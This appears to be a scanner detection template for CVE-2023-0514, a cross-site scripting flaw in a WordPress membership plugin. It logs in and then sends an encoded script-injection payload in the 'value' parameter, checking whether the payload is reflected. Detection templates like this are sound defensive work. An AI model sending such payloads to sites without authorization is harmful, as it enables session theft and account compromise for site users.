Membership Database <= 1.0 - Cross-Site Scripting

id: CVE-2023-0514

info:
  name: Membership Database <= 1.0 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Membership Database before 1.0 is susceptible to cross-site scripting via the tab parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Upgrade to a patched version of the Membership Database software or apply the necessary security patches provided by the vendor.
  reference:
    - https://wpscan.com/vulnerability/c6cc400a-9bfb-417d-9206-5582a49d0f05
    - https://wordpress.org/plugins/member-database/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-0514
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-0514
    cwe-id: CWE-79
    epss-score: 0.0085
    epss-percentile: 0.53722
    cpe: cpe:2.3:a:membership_database_project:membership_database:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: membership_database_project
    product: membership_database
    framework: wordpress
  tags: cve2023,cve,wpscan,membership-database,wp,wp-plugin,wordpress,authenticated,xss,membership_database_project,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        POST /wp-admin/admin.php?page=member-database%2Flist_members.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=sort&where=id&operator=%3D&value=asd%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%2F%2F&sortBy=id&ascdesc=asc

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "<script>alert(document.domain)</script>")'
          - 'contains(body_2, "Member Database")'
        condition: and
# digest: 4b0a0048304602210097f60c2b8f11baec735703c5ac113a20582815faf8b6966c3aedd46da38a4df6022100e94cd8bbfd63f2a2d8cd8bd0fa7183d58bce1ba433ace616988a688f55ef87eb:922c64590222798bb761d5b6d8e72950